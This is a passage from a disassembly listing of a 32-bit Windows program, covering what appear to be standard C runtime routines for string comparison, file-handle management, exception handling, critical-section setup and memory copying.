		shr	ecx, 2
		jz	short loc_41B5F8
		repe cmpsd
		jz	short loc_41B5F8
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41B5EB
		cmp	ch, dh
		jnz	short loc_41B5EB
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41B5EB
		cmp	ch, dh


loc_41B5EB:				; CODE XREF: .text:0041B5D9j
					; .text:0041B5DDj ...
		mov	eax, 0


loc_41B5F0:				; CODE XREF: .text:0041B596j
					; .text:0041B5A9j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B5F8:				; CODE XREF: .text:0041B5CBj
					; .text:0041B5CFj
		test	eax, eax
		jz	short loc_41B5C0
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41B5EB
		sub	eax, 1
		jz	short loc_41B625
		cmp	dh, ch
		jnz	short loc_41B5EB
		sub	eax, 1
		jz	short loc_41B625
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41B5EB
		sub	eax, 1


loc_41B625:				; CODE XREF: .text:0041B607j
					; .text:0041B610j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_41B644:				; CODE XREF: .text:0041B651j
		mov	al, [edx]
		or	al, al
		jz	short loc_41B653
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_41B644
; ---------------------------------------------------------------------------


loc_41B653:				; CODE XREF: .text:0041B648j
		mov	esi, [ebp+8]
		mov	edi, edi


loc_41B658:				; CODE XREF: .text:0041B665j
		mov	al, [esi]
		or	al, al
		jz	short loc_41B66A
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41B658
		lea	eax, [esi-1]


loc_41B66A:				; CODE XREF: .text:0041B65Cj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B670	proc near		; CODE XREF: sub_41BFAD+220p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		cmp	ecx, dword_47A2C8
		push	esi
		push	edi
		jnb	short loc_41B6D3
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		cmp	dword ptr [esi+eax], 0FFFFFFFFh
		jnz	short loc_41B6D3
		cmp	dword_42C744, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41B6C9
		sub	ecx, 0
		jz	short loc_41B6C0
		dec	ecx
		jz	short loc_41B6BB
		dec	ecx
		jnz	short loc_41B6C9
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41B6C3
; ---------------------------------------------------------------------------


loc_41B6BB:				; CODE XREF: sub_41B670+41j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41B6C3
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B670+3Ej
		push	ebx
		push	0FFFFFFF6h


loc_41B6C3:				; CODE XREF: sub_41B670+49j
					; sub_41B670+4Ej
		call	ds:dword_41F130	; SetStdHandle


loc_41B6C9:				; CODE XREF: sub_41B670+39j
					; sub_41B670+44j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41B6E9
; ---------------------------------------------------------------------------


loc_41B6D3:				; CODE XREF: sub_41B670+Cj
					; sub_41B670+2Bj
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41B6E9:				; CODE XREF: sub_41B670+61j
		pop	edi
		pop	esi
		retn
sub_41B670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EC	proc near		; CODE XREF: sub_416304+51p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	ecx, dword_47A2C8
		push	esi
		push	edi
		jnb	short loc_41B752
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41B752
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41B752
		cmp	dword_42C744, 1
		jnz	short loc_41B748
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41B73F
		dec	ecx
		jz	short loc_41B73A
		dec	ecx
		jnz	short loc_41B748
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41B742
; ---------------------------------------------------------------------------


loc_41B73A:				; CODE XREF: sub_41B6EC+44j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41B742
; ---------------------------------------------------------------------------


loc_41B73F:				; CODE XREF: sub_41B6EC+41j
		push	eax
		push	0FFFFFFF6h


loc_41B742:				; CODE XREF: sub_41B6EC+4Cj
					; sub_41B6EC+51j
		call	ds:dword_41F130	; SetStdHandle


loc_41B748:				; CODE XREF: sub_41B6EC+3Bj
					; sub_41B6EC+47j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41B768
; ---------------------------------------------------------------------------


loc_41B752:				; CODE XREF: sub_41B6EC+Cj
					; sub_41B6EC+2Dj ...
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41B768:				; CODE XREF: sub_41B6EC+64j
		pop	edi
		pop	esi
		retn
sub_41B6EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B76B	proc near		; CODE XREF: sub_416304+7p
					; sub_416304+1Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_47A2C8
		jnb	short loc_41B795
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		test	byte ptr [eax+4], 1
		jz	short loc_41B795
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41B795:				; CODE XREF: sub_41B76B+Aj
					; sub_41B76B+25j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		retn
sub_41B76B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7AC	proc near		; CODE XREF: sub_416387+38p
					; sub_417703+38p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		push	edi
		lea	ebx, ds:47A2E0h[ecx*4]
		mov	esi, [ebx]
		lea	edi, [eax+eax*8]
		shl	edi, 2
		add	esi, edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41B80B
		push	0Ah
		call	sub_416901
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_41B803
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41B800
		push	0Ah
		call	sub_41686D
		pop	ecx
		xor	eax, eax
		jmp	short loc_41B81B
; ---------------------------------------------------------------------------


loc_41B800:				; CODE XREF: sub_41B7AC+46j
		inc	dword ptr [esi+8]


loc_41B803:				; CODE XREF: sub_41B7AC+32j
		push	0Ah
		call	sub_41686D
		pop	ecx


loc_41B80B:				; CODE XREF: sub_41B7AC+24j
		mov	eax, [ebx]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	ds:dword_41F01C	; RtlEnterCriticalSection
		xor	eax, eax
		inc	eax


loc_41B81B:				; CODE XREF: sub_41B7AC+52j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B7AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B81F	proc near		; CODE XREF: sub_4163FE+1p
					; sub_41778A+1p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	ds:dword_41F018	; RtlLeaveCriticalSection
		retn
sub_41B81F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B841	proc near		; CODE XREF: sub_41BFAD:loc_41C141p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebp
		push	0Bh
		or	ebp, 0FFFFFFFFh
		call	sub_416882
		test	eax, eax
		pop	ecx
		jz	loc_41B988
		push	ebx
		push	esi
		push	edi
		push	0Bh
		call	sub_416901
		xor	ebx, ebx
		pop	ecx
		mov	[esp+18h+var_8], ebx
		mov	[esp+18h+var_4], ebx
		mov	edi, offset dword_47A2E0


loc_41B871:				; CODE XREF: sub_41B841+D5j
		mov	esi, [edi]
		test	esi, esi
		jz	loc_41B928
		lea	eax, [esi+480h]
		jmp	short loc_41B8E1
; ---------------------------------------------------------------------------


loc_41B883:				; CODE XREF: sub_41B841+A2j
		test	byte ptr [esi+4], 1
		jnz	short loc_41B8D7
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41B8BC
		push	0Ah
		call	sub_416901
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_41B8B4
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41B91E
		inc	dword ptr [esi+8]


loc_41B8B4:				; CODE XREF: sub_41B841+5Aj
		push	0Ah
		call	sub_41686D
		pop	ecx


loc_41B8BC:				; CODE XREF: sub_41B841+4Cj
		lea	ebx, [esi+0Ch]
		push	ebx
		call	ds:dword_41F01C	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_41B8E7
		push	ebx
		call	ds:dword_41F018	; RtlLeaveCriticalSection
		mov	ebx, [esp+18h+var_8]


loc_41B8D7:				; CODE XREF: sub_41B841+46j
		mov	eax, [edi]
		add	esi, 24h
		add	eax, 480h


loc_41B8E1:				; CODE XREF: sub_41B841+40j
		cmp	esi, eax
		jb	short loc_41B883
		jmp	short loc_41B903
; ---------------------------------------------------------------------------


loc_41B8E7:				; CODE XREF: sub_41B841+89j
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, [edi]
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		mov	ebp, eax
		add	ebp, [esp+18h+var_4]
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_41B97D
		mov	ebx, [esp+18h+var_8]


loc_41B903:				; CODE XREF: sub_41B841+A4j
		add	[esp+18h+var_4], 20h
		inc	ebx
		add	edi, 4
		cmp	edi, offset dword_47A3E0
		mov	[esp+18h+var_8], ebx
		jl	loc_41B871
		jmp	short loc_41B97D
; ---------------------------------------------------------------------------


loc_41B91E:				; CODE XREF: sub_41B841+6Ej
		push	0Ah
		call	sub_41686D
		pop	ecx
		jmp	short loc_41B97A
; ---------------------------------------------------------------------------


loc_41B928:				; CODE XREF: sub_41B841+34j
		mov	esi, 480h
		push	esi
		call	sub_41344D
		test	eax, eax
		pop	ecx
		jz	short loc_41B97D
		add	dword_47A2C8, 20h
		lea	ecx, ds:47A2E0h[ebx*4]
		mov	[ecx], eax
		lea	edx, [eax+480h]
		jmp	short loc_41B966
; ---------------------------------------------------------------------------


loc_41B950:				; CODE XREF: sub_41B841+127j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 24h
		add	edx, esi


loc_41B966:				; CODE XREF: sub_41B841+10Dj
		cmp	eax, edx
		jb	short loc_41B950
		shl	ebx, 5
		mov	ebp, ebx
		push	ebp
		call	sub_41B7AC
		test	eax, eax
		pop	ecx
		jnz	short loc_41B97D


loc_41B97A:				; CODE XREF: sub_41B841+E5j
		or	ebp, 0FFFFFFFFh


loc_41B97D:				; CODE XREF: sub_41B841+BCj
					; sub_41B841+DBj ...
		push	0Bh
		call	sub_41686D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx


loc_41B988:				; CODE XREF: sub_41B841+10j
		mov	eax, ebp
		pop	ebp
		pop	ecx
		pop	ecx
		retn
sub_41B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B98E	proc near		; CODE XREF: sub_4164AA+1Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041BA36 SIZE 00000014 BYTES

		push	0Ch
		push	offset stru_428530
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	loc_41BA36
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41BA36
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41BA0E
		push	ebx
		call	sub_41B76B
		pop	ecx
		push	eax
		call	ds:dword_41F12C	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41B9FA
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_41B9FE
; ---------------------------------------------------------------------------


loc_41B9FA:				; CODE XREF: sub_41B98E+5Fj
		and	[ebp+var_1C], 0


loc_41B9FE:				; CODE XREF: sub_41B98E+6Aj
		cmp	[ebp+var_1C], 0
		jz	short loc_41BA1D
		call	sub_417C79
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx


loc_41BA0E:				; CODE XREF: sub_41B98E+4Dj
		call	sub_417C70
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41BA1D:				; CODE XREF: sub_41B98E+74j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41BA2E
		mov	eax, [ebp+var_1C]
		jmp	short loc_41BA44
sub_41B98E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA2B	proc near		; DATA XREF: .rdata:stru_428530o
		mov	ebx, [ebp+8]
sub_41BA2B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BA2E	proc near		; CODE XREF: sub_41B98E+93p
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_41BA2E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B98E


loc_41BA36:				; CODE XREF: sub_41B98E+15j
					; sub_41B98E+39j
		call	sub_417C70
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_41BA44:				; CODE XREF: sub_41B98E+9Bj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41B98E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41665F


loc_41BA4A:				; CODE XREF: sub_41665F+Ej
		push	10h
		push	offset stru_428540
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		push	1
		call	sub_416901
		pop	ecx
		mov	[ebp-4], ebx
		push	3
		pop	edi


loc_41BA69:				; CODE XREF: sub_41665F+5469j
		mov	[ebp-20h], edi
		cmp	edi, dword_47B660
		jge	short loc_41BACA
		mov	esi, edi
		shl	esi, 2
		mov	eax, dword_47A644
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_41BAC7
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41BA9A
		push	eax
		call	sub_412F93
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BA9A
		inc	dword ptr [ebp-1Ch]


loc_41BA9A:				; CODE XREF: sub_41665F+542Aj
					; sub_41665F+5436j
		cmp	edi, 14h
		jl	short loc_41BAC7
		mov	eax, dword_47A644
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_41F024	; RtlDeleteCriticalSection
		mov	eax, dword_47A644
		push	dword ptr [esi+eax]
		call	sub_412FE4
		pop	ecx
		mov	eax, dword_47A644
		mov	[esi+eax], ebx


loc_41BAC7:				; CODE XREF: sub_41665F+5424j
					; sub_41665F+543Ej
		inc	edi
		jmp	short loc_41BA69
; ---------------------------------------------------------------------------


loc_41BACA:				; CODE XREF: sub_41665F+5413j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41BADC
		mov	eax, [ebp-1Ch]
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41665F

; =============== S U B	R O U T	I N E =======================================



sub_41BADC	proc near		; CODE XREF: sub_41665F+546Fp
					; DATA XREF: .rdata:stru_428540o
		push	1
		call	sub_41686D
		pop	ecx
		retn
sub_41BADC	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAF0	proc near		; DATA XREF: __SEH_prologo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41BB90
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41BB23:				; CODE XREF: sub_41BAF0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41BB89
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41BB77
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41BB77
		js	short loc_41BB82
		mov	edi, [ebx+8]
		push	ebx
		call	sub_413E04
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_413E46
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_413EDA
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41BB77:				; CODE XREF: sub_41BAF0+40j
					; sub_41BAF0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41BB23
; ---------------------------------------------------------------------------


loc_41BB82:				; CODE XREF: sub_41BAF0+54j
		mov	eax, 0
		jmp	short loc_41BBA5
; ---------------------------------------------------------------------------


loc_41BB89:				; CODE XREF: sub_41BAF0+36j
		mov	eax, 1
		jmp	short loc_41BBA5
; ---------------------------------------------------------------------------


loc_41BB90:				; CODE XREF: sub_41BAF0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_413E46
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41BBA5:				; CODE XREF: sub_41BAF0+97j
					; sub_41BAF0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41BAF0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_413E46
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41BBC8:				; DATA XREF: sub_41BBD8:loc_41BC1Ao
		push	dword ptr [esp+4]
		call	ds:dword_41F128	; InitializeCriticalSection
		xor	eax, eax
		inc	eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBD8	proc near		; CODE XREF: sub_4167CF+26p
					; sub_416882+49p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	10h
		push	offset stru_428578
		call	__SEH_prolog
		mov	eax, dword_47A1B4
		test	eax, eax
		jnz	short loc_41BC24
		cmp	dword_479E5C, 1
		jz	short loc_41BC1A
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_41F078	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41BC1A
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	ds:dword_41F074	; GetProcAddress
		mov	dword_47A1B4, eax
		test	eax, eax
		jnz	short loc_41BC24


loc_41BC1A:				; CODE XREF: sub_41BBD8+1Cj
					; sub_41BBD8+2Bj
		mov	eax, offset loc_41BBC8
		mov	dword_47A1B4, eax


loc_41BC24:				; CODE XREF: sub_41BBD8+13j
					; sub_41BBD8+40j
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax	; InitializeCriticalSectionAndSpinCount
		mov	[ebp+var_1C], eax
		jmp	short loc_41BC59
; ---------------------------------------------------------------------------


loc_41BC35:				; DATA XREF: .rdata:stru_428578o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41BC43:				; DATA XREF: .rdata:stru_428578o
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_20], 0C0000017h
		jnz	short loc_41BC57
		push	8
		call	ds:dword_41F154	; RtlSetLastWin32Error


loc_41BC57:				; CODE XREF: sub_41BBD8+75j
		xor	eax, eax


loc_41BC59:				; CODE XREF: sub_41BBD8+5Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_41BBD8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC70	proc near		; CODE XREF: sub_4169A5+2DEp
					; sub_417EF6+13p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41BC90
		cmp	edi, eax
		jb	loc_41BE0C


loc_41BC90:				; CODE XREF: sub_41BC70+16j
		test	edi, 3
		jnz	short loc_41BCAC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41BCCC
		rep movsd
		jmp	ds:off_41BDBC[edx*4]
; ---------------------------------------------------------------------------


loc_41BCAC:				; CODE XREF: sub_41BC70+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41BCC4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41BCCC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41BCC4:				; CODE XREF: sub_41BC70+46j
		jmp	dword ptr ds:loc_41BDCC[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41BCCC:				; CODE XREF: sub_41BC70+31j
					; sub_41BC70+8Ej ...
		jmp	ds:off_41BD50[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41BCDD+3
; ---------------------------------------------------------------------------
		or	al, 0BDh
		inc	ecx
		add	[eax], dh


loc_41BCDD:				; DATA XREF: sub_41BC70+64o
		mov	ebp, 0D1230041h
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41BCCC
		rep movsd
		jmp	ds:off_41BDBC[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41BCCC
		rep movsd
		jmp	ds:off_41BDBC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41BCCC
		rep movsd
		jmp	ds:off_41BDBC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41BD50	dd offset loc_41BDB3	; DATA XREF: sub_41BC70:loc_41BCCCr
		dd offset loc_41BDA0
		dd offset loc_41BD98
		dd offset loc_41BD90
		dd offset loc_41BD88
		dd offset loc_41BD80
		dd offset loc_41BD78
		dd offset loc_41BD70
; ---------------------------------------------------------------------------


loc_41BD70:				; CODE XREF: sub_41BC70:loc_41BCCCj
					; DATA XREF: sub_41BC70+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41BD78:				; CODE XREF: sub_41BC70:loc_41BCCCj
					; DATA XREF: sub_41BC70+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41BD80:				; CODE XREF: sub_41BC70:loc_41BCCCj
					; DATA XREF: sub_41BC70+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41BD88:				; CODE XREF: sub_41BC70:loc_41BCCCj
					; DATA XREF: sub_41BC70+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41BD90:				; CODE XREF: sub_41BC70:loc_41BCCCj
					; DATA XREF: sub_41BC70+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41BD98:				; CODE XREF: sub_41BC70:loc_41BCCCj
					; DATA XREF: sub_41BC70+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41BDA0:				; CODE XREF: sub_41BC70:loc_41BCCCj
					; DATA XREF: sub_41BC70+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41BDB3:				; CODE XREF: sub_41BC70:loc_41BCCCj
					; DATA XREF: sub_41BC70:off_41BD50o
		jmp	ds:off_41BDBC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41BDBC	dd offset loc_41BDCC	; DATA XREF: sub_41BC70+35r
					; sub_41BC70+92r ...
		dd offset loc_41BDD4
		dd offset loc_41BDE0
		dd offset loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDCC:				; CODE XREF: sub_41BC70+35j
					; sub_41BC70+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41BDD4:				; CODE XREF: sub_41BC70+35j
					; sub_41BC70+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41BDE0:				; CODE XREF: sub_41BC70+35j
					; sub_41BC70+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41BDF4:				; CODE XREF: sub_41BC70+35j
					; sub_41BC70+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41BE0C:				; CODE XREF: sub_41BC70+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41BE40
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41BE34
		std
		rep movsd
		cld
		jmp	ds:off_41BF58[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41BE34:				; CODE XREF: sub_41BC70+1B5j
					; sub_41BC70+210j ...
		neg	ecx
		jmp	ds:off_41BF08[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41BE40:				; CODE XREF: sub_41BC70+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41BE58
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41BE58+4[eax*4]
; ---------------------------------------------------------------------------


loc_41BE58:				; CODE XREF: sub_41BC70+1DAj
					; DATA XREF: sub_41BC70+1E1r
